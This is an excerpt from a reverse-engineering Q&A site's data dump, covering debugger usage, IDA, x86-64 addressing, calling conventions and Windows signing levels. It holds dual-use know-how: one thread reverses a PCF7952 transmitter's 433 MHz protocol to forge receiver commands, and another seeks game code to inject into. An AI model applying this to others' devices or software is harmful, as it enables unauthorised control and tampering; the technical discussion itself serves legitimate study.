  <row Id="10737" PostTypeId="2" ParentId="10736" CreationDate="2015-08-28T21:01:59.410" Score="6" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.ollydbg.de/Loaddll.htm&quot; rel=&quot;noreferrer&quot;&gt;OllyDbg's loaddll.exe&lt;/a&gt; to load a DLL and call (and debug) its functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yt19b.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yt19b.png&quot; alt=&quot;loaddll&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-28T21:01:59.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10738" PostTypeId="1" AcceptedAnswerId="10740" CreationDate="2015-08-29T02:46:43.440" Score="0" ViewCount="1351" Body="&lt;p&gt;If I were to disassemble a malware sample in IDA without being in a VM, is there any way I can infect my machine?&lt;/p&gt;&#xA;" OwnerUserId="13416" LastEditorUserId="13416" LastEditDate="2015-08-29T03:09:44.140" LastActivityDate="2015-08-29T04:29:56.260" Title="Is it dangerous to disassemble malware in IDA?" Tags="|ida|malware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10739" PostTypeId="2" ParentId="10738" CreationDate="2015-08-29T03:58:19.867" Score="0" Body="&lt;p&gt;It's not dangerous as long as you're disassembling and not debugging. However, I strongly recommend you to use a VM&lt;/p&gt;&#xA;" OwnerUserId="13148" LastActivityDate="2015-08-29T03:58:19.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10740" PostTypeId="2" ParentId="10738" CreationDate="2015-08-29T04:29:56.260" Score="5" Body="&lt;p&gt;The recommended workflow is to make the initial database (idb) by running IDA within a VM. That way you are safe even in case of a possible zero day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idb file can then be taken out of the VM and analyzed elsewhere. The idb does not contain runnable machine code, so you are safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to perform any dynamic analysis on the malware, you need to use a VM.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-08-29T04:29:56.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10741" PostTypeId="1" CreationDate="2015-08-29T12:31:37.580" Score="0" ViewCount="204" Body="&lt;p&gt;I want to modify the data segment in the x64_DBG, however, I don't know how to access it. &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea r8,qword ptr ds:[7FEF0CA6AD8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code, the address &lt;code&gt;7FEF0CA6AD8&lt;/code&gt; is loaded in &lt;code&gt;r8&lt;/code&gt; register. I want to access the content of &lt;code&gt;7FEF0CA6AD8&lt;/code&gt; memory address and modify it. The problem is each time I modify the address and test in the program something writes to &lt;code&gt;7FEF0CA6AD8&lt;/code&gt; memory address. How can make it read only or find a the thing which writes to this address and try to modify that in the same way? My purpose is changing the value of this data segment register or find the logic behind the method which writes to it.&lt;br/&gt;&#xA;&lt;strong&gt;Hardware breakpoint might be a solution but when I do so the program crashes immediately&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="11621" LastEditorUserId="11621" LastEditDate="2015-08-29T12:55:32.557" LastActivityDate="2015-08-29T12:55:32.557" Title="How to access and modify data segment when doing hardware breakpoint crashes the application?" Tags="|disassembly|debuggers|patch-reversing|register|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10742" PostTypeId="1" CreationDate="2015-08-29T14:17:57.960" Score="8" ViewCount="1393" Body="&lt;p&gt;I got a function whose control flow is kinda screwed... like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JGPVA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGPVA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the basic blocks at the top left aren't connected to anything; however, if I check the text disasm, this is what I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WJJTe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJJTe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, IDA believes that the call doesn't ever return, puts the discontinued line there, and the control flow gets broken (as the next basic block doesn't have a parent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can manually link the basic blocks, or better, make IDA stop believing that the call doesn't return?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&#xA;The function &lt;em&gt;does&lt;/em&gt; return, and doesn't break the rest of places it's used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O3ntw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3ntw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4750" LastEditorUserId="4750" LastEditDate="2015-08-29T14:30:52.923" LastActivityDate="2016-09-24T16:49:15.150" Title="Can I set a basic block's parent in IDA?" Tags="|ida|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10743" PostTypeId="2" ParentId="10742" CreationDate="2015-08-29T14:26:16.590" Score="1" Body="&lt;p&gt;It is possible to define a function as &quot;return&quot; or &quot;no return&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do it you should find your called function, right click on it, choose &quot;edit function&quot; and unmark &quot;Does not return&quot; checkbox.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-08-29T14:26:16.590" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10744" PostTypeId="1" AcceptedAnswerId="10745" CreationDate="2015-08-29T16:27:41.310" Score="2" ViewCount="6446" Body="&lt;p&gt;I am trying to attach the WinDBG to particular process but I constantly get the error below :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M2puS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M2puS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;br/&gt;&#xA;I am using win 7 x64 and am trying to debug x64 application.&#xA;I run the IDA Pro with admin privileges. I have run the application both with admin privilege and the user one. I even tried to run it on different windows user account with admin privilege but I still get the same error.&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2015-08-29T18:12:04.167" Title="Attaching debugger to process IDA Pro privilege problem" Tags="|ida|idapro-sdk|process|error-messages|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10745" PostTypeId="2" ParentId="10744" CreationDate="2015-08-29T18:12:04.167" Score="3" Body="&lt;p&gt;AFAIK you cannot debug a 64 bit application locally with IDA Pro. &#xA;&lt;br&gt;You need to use remote debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this page: &lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/#details&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/debugger/#details&lt;/a&gt;&#xA;&lt;br&gt;and this: &lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32towin64.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32towin64.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-08-29T18:12:04.167" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10746" PostTypeId="1" CreationDate="2015-08-29T18:14:34.460" Score="30" ViewCount="56793" Body="&lt;pre&gt;&lt;code&gt;mov qword ptr ds:[rax+18], r8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code, where are we copying the value of r8 register into?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that &lt;code&gt;ds&lt;/code&gt; means data segment which is a segment in memory, but what does exactly &lt;code&gt;[rax+18]&lt;/code&gt; mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, these are the parts I'm having trouble with understanding:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it mandatory that &lt;code&gt;rax&lt;/code&gt; should hold an address in such situation?&lt;/li&gt;&#xA;&lt;li&gt;what is the role of &lt;code&gt;18&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;How can I trace the &lt;code&gt;[rax+18]&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know it is newbie's question but I am one.&lt;/p&gt;&#xA;" OwnerUserId="11621" LastEditorUserId="2147" LastEditDate="2017-12-02T08:45:23.310" LastActivityDate="2019-12-19T11:46:44.727" Title="What does mov qword ptr ds:[rax+18], r8 mean?" Tags="|disassembly|assembly|x86|x86-64|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10747" PostTypeId="1" CreationDate="2015-08-29T18:31:59.920" Score="6" ViewCount="766" Body="&lt;p&gt;I am trying to reverse some communication protocol between transmitter (controlled by PCF7952 chip) and receiver on 433 Mhz frequency&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to prepare the &quot;right&quot; package which would be received and controller on the receiver's side 100% will act by this command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, the last 2 bits of command are unknown for me, it seems that it's a some kind of checksum / crc (but why it's only 2 bits?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now everytime I'm sending 4 commands with equal &quot;body&quot; but with 00, 01, 11, 10 in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of them is eventually working for the receiver but the goal is to execute the command from the first attempt (now it's 25% probability that the first attempt would be successful, definitely because of wrong last 2 bits)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to think that transmitter uses standard CRC calculation methods and the program just adds, let's say, kind of lower bits from this CRC8 / CRC16 / CRC32 sequence generated for the body of command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use possible CRC algo from &lt;a href=&quot;http://www.lammertbies.nl/comm/info/crc-calculation.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.lammertbies.nl/comm/info/crc-calculation.html&lt;/a&gt; but did not find any positive matches in these sequences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I tried to check any parity bits algorithms also no luck with that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is samples of bit sequences (last 2 bits is checksum (maybe), third bit from the end is always 0, at least in my 2200 samples grabbed), which are grabbed from working device (transmitter)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0111 1001 1101 1011 0001 1000 1100 0111 1100 1010 1010 1001 1010 1010 1101 10 010&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 0100 1111 0101 0100 1101 0101 11 000&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 1010 1010 1011 1010 1000 1111 10 011&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 0100 1101 1101 1101 0101 1010 01 010&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 1011 0011 0011 1011 0000 1111 10 010&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 0101 1111 1101 1101 1101 1100 11 010&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 0101 1111 1111 1111 1101 1110 11 001&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 1100 1000 0000 0101 0000 0011 01 011&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 1010 0110 0010 0010 0100 0011 11 010&#xA;0111 1001 1101 1011 0001 1000 1100 0111 1100 1100 1000 1000 1101 0000 1011 01 010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also here is the file with all bit sequences grabbed - &lt;a href=&quot;https://drive.google.com/file/d/0B6VO67TWi9UOSkt4VHJNQmtSTXc/view&quot; rel=&quot;noreferrer&quot;&gt;https://drive.google.com/file/d/0B6VO67TWi9UOSkt4VHJNQmtSTXc/view&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, I don't know where else to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints/help or anything at all is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13422" LastEditorUserId="13422" LastEditDate="2015-08-30T14:18:56.873" LastActivityDate="2016-02-27T23:47:20.060" Title="Reverse engineering of some checksum algorithm" Tags="|crc|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10749" PostTypeId="1" CreationDate="2015-08-30T00:26:50.907" Score="3" ViewCount="1371" Body="&lt;p&gt;I've played with using software like cheat engine to modify memory, null out code and even inject some code of my own. However finding the right spot to modify is &lt;em&gt;always&lt;/em&gt; a difficulty. I'd like to be able to identify the code that is run when I click my mouse on an object (eventually to simulate the entire process). Is there a tool or method for doing this that anyone could suggest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used ollydb and cheat engine a fair bit in the past.&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2016-08-09T21:37:49.490" Title="How to identify code ran when clicking on an object in a game" Tags="|memory|machine-code|automation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10752" PostTypeId="2" ParentId="10653" CreationDate="2015-08-30T21:00:04.803" Score="3" Body="&lt;p&gt;From my &lt;a href=&quot;https://stackoverflow.com/a/32278853/480982&quot;&gt;cross-site answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could assume that the types in &lt;code&gt;ntdll&lt;/code&gt; have not changed so much. This would allow you to take an older version of &lt;code&gt;wntdll.pdb&lt;/code&gt; and the new version of &lt;code&gt;ntdll.dll&lt;/code&gt; and apply &lt;a href=&quot;http://www.debuginfo.com/tools/chkmatch.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ChkMatch -m&lt;/a&gt; to it. This will copy the timestamp and checksum from the DLL to the PDB. After you did that (in an empty folder), replace the existing &lt;code&gt;wntdll.pdb&lt;/code&gt; in your symbols directory with the hacked one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WinDbg walkthrough (with output shortened to relevant things). I am using the latest version of &lt;code&gt;wntdll.pdb&lt;/code&gt; I could find on my PC. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:005&amp;gt; dt nt!_PEB&#xA;*************************************************************************&#xA;***                                                                   ***&#xA;***    Either you specified an unqualified symbol, or your debugger   ***&#xA;...&#xA;***    Type referenced: nt!_PEB                                       ***&#xA;***                                                                   ***&#xA;*************************************************************************&#xA;Symbol nt!_PEB not found.&#xA;&#xA;0:005&amp;gt; lm m ntdll&#xA;start    end        module name&#xA;773f0000 77570000   ntdll      (pdb symbols)          e:\debug\symbols\wntdll.pdb\FA9C48F9C11D4E0894B8970DECD92C972\wntdll.pdb&#xA;&#xA;0:005&amp;gt; .shell cmd /c copy C:\Windows\SysWOW64\ntdll.dll e:\debug\temp\ntdllhack\ntdll.dll&#xA;        1 file(s) copied.&#xA;&#xA;0:005&amp;gt; .shell cmd /c copy &quot;E:\Windows SDk\8.0\Debuggers\x86\sym\wntdll.pdb\B081677DFC724CC4AC53992627BEEA242\wntdll.pdb&quot; e:\debug\temp\ntdllhack\wntdll.pdb&#xA;        1 file(s) copied.&#xA;&#xA;0:005&amp;gt; .shell cmd /c E:\debug\temp\ntdllhack\chkmatch.exe -m E:\debug\temp\ntdllhack\ntdll.dll E:\debug\temp\ntdllhack\wntdll.pdb&#xA;...&#xA;Executable: E:\debug\temp\ntdllhack\ntdll.dll &#xA;Debug info file: E:\debug\temp\ntdllhack\wntdll.pdb &#xA;&#xA;Executable: &#xA;TimeDateStamp: 55a69e20 &#xA;Debug info: 2 ( CodeView ) &#xA;TimeStamp: 55a68c18  Characteristics: 0  MajorVer: 0  MinorVer: 0 &#xA;Size: 35  RVA: 000e63e0  FileOffset: 000d67e0  &#xA;CodeView format: RSDS &#xA;Signature: {fa9c48f9-c11d-4e08-94b8-970decd92c97}  Age: 2  &#xA;PdbFile: wntdll.pdb &#xA;Debug info: 10 ( Unknown ) &#xA;TimeStamp: 55a68c18  Characteristics: 0  MajorVer: 565  MinorVer: 6526 &#xA;Size: 4  RVA: 000e63dc  FileOffset: 000d67dc  &#xA;&#xA;Debug information file: &#xA;Format: PDB 7.00 &#xA;Signature: {b081677d-fc72-4cc4-ac53-992627beea24}  Age: 4 &#xA;&#xA;Writing to the debug information file... &#xA;Result: Success.&#xA;&#xA;0:005&amp;gt; .shell cmd /c copy E:\debug\temp\ntdllhack\wntdll.pdb E:\debug\symbols\wntdll.pdb\FA9C48F9C11D4E0894B8970DECD92C972\wntdll.pdb&#xA;        1 file(s) copied.&#xA;&#xA;0:005&amp;gt; .reload&#xA;Reloading current modules&#xA;.............................&#xA;&#xA;0:005&amp;gt; dt nt!_PEB&#xA;ntdll!_PEB&#xA;   +0x000 InheritedAddressSpace : UChar&#xA;   +0x001 ReadImageFileExecOptions : UChar&#xA;...&#xA;&#xA;0:005&amp;gt; !heap -s&#xA;LFH Key                   : 0x219ab08b&#xA;Termination on corruption : DISABLED&#xA;  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast &#xA;                    (k)     (k)    (k)     (k) length      blocks cont. heap &#xA;-----------------------------------------------------------------------------&#xA;Virtual block: 00920000 - 00920000 (size 00000000)&#xA;Virtual block: 02c60000 - 02c60000 (size 00000000)&#xA;Virtual block: 02e10000 - 02e10000 (size 00000000)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: using &lt;code&gt;ChkMatch&lt;/code&gt; like this has the benefit that you do not need to turn on &lt;code&gt;.symopt- 100&lt;/code&gt;, since that option would affect all PDB files, and you would not find potential other symbol issues. If you don't mind using &lt;code&gt;.symopt&lt;/code&gt;, you could simply copy an old &lt;code&gt;wntdll.PDB&lt;/code&gt; over the new one.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-08-30T21:00:04.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10753" PostTypeId="1" AcceptedAnswerId="10754" CreationDate="2015-08-30T23:04:08.333" Score="4" ViewCount="673" Body="&lt;p&gt;I frequently see code formatted like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push arg&#xA;push arg&#xA;(...)&#xA;mov ecx, arg&#xA;call function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I need to call that function in Assembly, it's fine. But since I know how to consistently get the base of the functions, for the sake of organization and simplicity, I'd like to use typedefs in a DLL to call the functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem's that I have no idea how to make a call use ecx to pass data. Unless I'm mistaken, &lt;code&gt;func(arg,arg)&lt;/code&gt; will always assemble to two pushes and a call. If I don't use ecx the function crashes because it's a pointer to an object and it needs to be that. Is there any way to do this without inline assembly which I'd like to avoid?&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2015-08-31T00:38:45.873" Title="mov ecx, arg - How to replicate in C++?" Tags="|assembly|c++|call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10754" PostTypeId="2" ParentId="10753" CreationDate="2015-08-31T00:38:45.873" Score="10" Body="&lt;p&gt;You can either typedef it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// typedef &amp;lt;return-type&amp;gt;(__thiscall* &amp;lt;type-name&amp;gt;)(&amp;lt;ecx&amp;gt;, &amp;lt;stack-1&amp;gt;, &amp;lt;stack-2&amp;gt;);&#xA;typedef int(__thiscall* tSomeFunc)(int thisPtr, int arg1, int arg2);&#xA;tSomeFunc func = (tSomeFunc) 0xBAADC0DE;&#xA;&#xA;// this is how you call it&#xA;func(/* this */ 0x123, /* arg1 */ 1, /* arg2 */ arg2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or directly call it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((int(__thiscall*)(int, int, int)) 0xDEADBABE)(/* this */ 0x123, 1, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It relies on the fact that your calling convention &lt;em&gt;seems&lt;/em&gt; to be &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ek8tkfbw.aspx&quot;&gt;&lt;code&gt;__thiscall&lt;/code&gt;&lt;/a&gt;, which stores the &lt;code&gt;this&lt;/code&gt; pointer into &lt;code&gt;ecx&lt;/code&gt; and then pushes the rest of the args to the stack.&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-08-31T00:38:45.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10755" PostTypeId="2" ParentId="10749" CreationDate="2015-08-31T06:36:32.957" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;On windows you can&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;find &lt;code&gt;winproc&lt;/code&gt; function, search click messages within it and add breakpoint/trace from there...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;On different OS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;trace mouse handlers ...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If OpenGL is used&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.opengl.org/archives/resources/faq/technical/selection.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Object selection&lt;/a&gt; is often done by it directly during rendering. You can trace calls to those functions used.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If any framework is used&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;learn what function for mouse it has and trace its calls ...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-08-09T17:16:32.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10756" PostTypeId="1" AcceptedAnswerId="10758" CreationDate="2015-08-31T10:25:27.417" Score="1" ViewCount="439" Body="&lt;p&gt;From this blog article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.alex-ionescu.com/?p=146&quot; rel=&quot;nofollow&quot;&gt;Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs &amp;amp; Runtime Signers).&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Windows 8 instituted the Signing Level, also sometimes referred to as the Signature Level. This undocumented number was a way for the system to differentiate the different types of Windows binaries, something that became a requirement for Windows RT as part of its requirement to prohibit the execution of Windows “desktop” applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this signature level are determined on what basis ? Is that flag passed to CreateProcess or kernel handles this ?&lt;/p&gt;&#xA;" OwnerUserId="3022" LastEditorUserId="53" LastEditDate="2015-08-31T11:16:29.013" LastActivityDate="2015-08-31T14:17:35.470" Title="How the signature level set to the process in Windows 8?" Tags="|cryptography|protection|windows-8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10758" PostTypeId="2" ParentId="10756" CreationDate="2015-08-31T14:17:35.470" Score="2" Body="&lt;p&gt;See &lt;a href=&quot;http://2012.ruxconbreakpoint.com/assets/Uploads/bpx/alex-breakpoint2012.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://2012.ruxconbreakpoint.com/assets/Uploads/bpx/alex-breakpoint2012.pdf&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hZPmn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZPmn.jpg&quot; alt=&quot;Signing Levels&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the signing level is embedded in the signed image's (file's) certificate. There are no special flags passed to &lt;code&gt;CreateProcess()&lt;/code&gt;, but &lt;code&gt;PspCreateProcess()&lt;/code&gt; (a kernel function that's executed as a result of &lt;code&gt;CreateProcess()&lt;/code&gt;) extracts and validates the signing level from the executed image's certificate.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-31T14:17:35.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10759" PostTypeId="1" AcceptedAnswerId="10761" CreationDate="2015-08-31T14:57:58.590" Score="4" ViewCount="6867" Body="&lt;p&gt;I'm reverse engineering some windows application. I came accross with this function that IDA recognized: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call __alloca_probe_16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm unable to find any documentation/reference on this function except &lt;a href=&quot;http://microsoft.public.win32.programmer.kernel.narkive.com/i2VrpN4F/function-of-alloc-probe&quot; rel=&quot;nofollow&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;. The poster suggests that &lt;code&gt;__alloca_probe&lt;/code&gt; is a support routine for the API &lt;code&gt;_alloca()&lt;/code&gt; without providing any reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering if anyone knows what this function does and where I can find reference to undocumented/internal(?) APIs like this in the future. &lt;/p&gt;&#xA;" OwnerUserId="13061" LastActivityDate="2015-08-31T15:12:50.820" Title="What is __alloca_probe_16 and what does it do?" Tags="|ida|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10761" PostTypeId="2" ParentId="10759" CreationDate="2015-08-31T15:12:50.820" Score="9" Body="&lt;p&gt;This funcion enures that an &lt;code&gt;alloca()&lt;/code&gt; call returns  a pointer aligned to 16 bytes boundary. You can see the comments in &lt;code&gt;alloca16.asm&lt;/code&gt; in Visual C++' CRT sources:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; _alloca_probe_16, _alloca_probe_8 - align allocation to 16/8 byte boundary&#xA;;&#xA;;Purpose:&#xA;;       Adjust allocation size so the ESP returned from chkstk will be aligned&#xA;;       to 16/8 bit boundary. Call chkstk to do the real allocation.&#xA;;Entry:&#xA;;       EAX = size of local frame&#xA;;&#xA;;Exit:&#xA;;       Adjusted EAX.&#xA;;&#xA;;Uses:&#xA;;       EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NB: this comment seems to be stale; the current implementation tail-calls &lt;code&gt;_chkstk&lt;/code&gt;, so the allocation (ESP adjustment) happens immediately.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-08-31T15:12:50.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10762" PostTypeId="2" ParentId="10747" CreationDate="2015-08-31T20:11:46.623" Score="2" Body="&lt;p&gt;(I was trying to add this as a comment, but don't have enough reputation points)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed the consecutive checksums {00,00,10,00,10} repeat 21 times in the first 1100 samples of which 8 times with 19 samples in between while the data remains random/different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t8nAC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t8nAC.png&quot; alt=&quot;repetition of 00,00,10,00,10 pattern&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes me wonder if the checksum is maybe time/clock based? With only 2 bits of checksum repetitions are of course very likely, but not sure if up to this extent it is &quot;just a coincidence&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a lot of repetions of {11,01,11,11,01}. Not sure if this helps, it's just something I noticed.&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2015-08-31T20:11:46.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
